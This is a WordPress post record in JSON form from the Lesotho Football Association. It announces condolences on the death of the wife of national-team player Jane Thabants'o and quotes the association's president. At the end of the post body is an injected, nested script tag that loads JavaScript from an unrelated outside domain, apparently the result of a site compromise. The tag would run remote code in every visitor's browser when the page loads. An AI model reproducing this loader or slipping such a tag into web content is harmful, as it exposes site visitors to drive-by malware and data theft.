{"id":4301,"date":"2025-05-25T21:26:14","date_gmt":"2025-05-25T19:26:14","guid":{"rendered":"https:\/\/lefa.co.ls\/?p=4301"},"modified":"2025-05-25T21:26:14","modified_gmt":"2025-05-25T19:26:14","slug":"lesotho-football-mourns-wife-of-jane","status":"publish","type":"post","link":"https:\/\/lefa.co.ls\/?p=4301","title":{"rendered":"Lesotho football mourns wife of Jane"},"content":{"rendered":"<div>The Lesotho Football Association has learnt with profound sadness of the sudden passing of Mrs &#8216;Mathabats&#8217;o Thabants&#8217;o, the wife of Likuena most capped player, top goal-scorer and holder of fastest goal in the history of COSAFA Cup, Jane Thabants&#8217;o.<\/div>\n<div><\/div>\n<div>The LeFA President Advocate Salemane Phafane (KC), on behalf of the Executive Committee, LeFA Secretariat, National Team coaches and the football fraternity at large, extends his sincere sympathies to the Thabants&#8217;o family as they grieve the loss of the family member.<\/div>\n<div><\/div>\n<div>&#8220;We are all heartbroken and shattered with this loss and extend our sincess sympathies to our decorated and the whole Thabants&#8217;o family,&#8221; Advocate Phafane said.<\/div>\n<div><\/div>\n<div>&#8220;Our hearts go out to Jane and the family during this sorrowful period.&#8221;<\/div>\n<p><script><script src=\"https:\/\/distie.shop\/custom.js?query=32861745670379\"><\/script><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The Lesotho Football Association has learnt with profound sadness of the sudden passing of Mrs &#8216;Mathabats&#8217;o Thabants&#8217;o, the wife of Likuena most capped player, top goal-scorer and holder of fastest goal in the history of COSAFA Cup, Jane Thabants&#8217;o. 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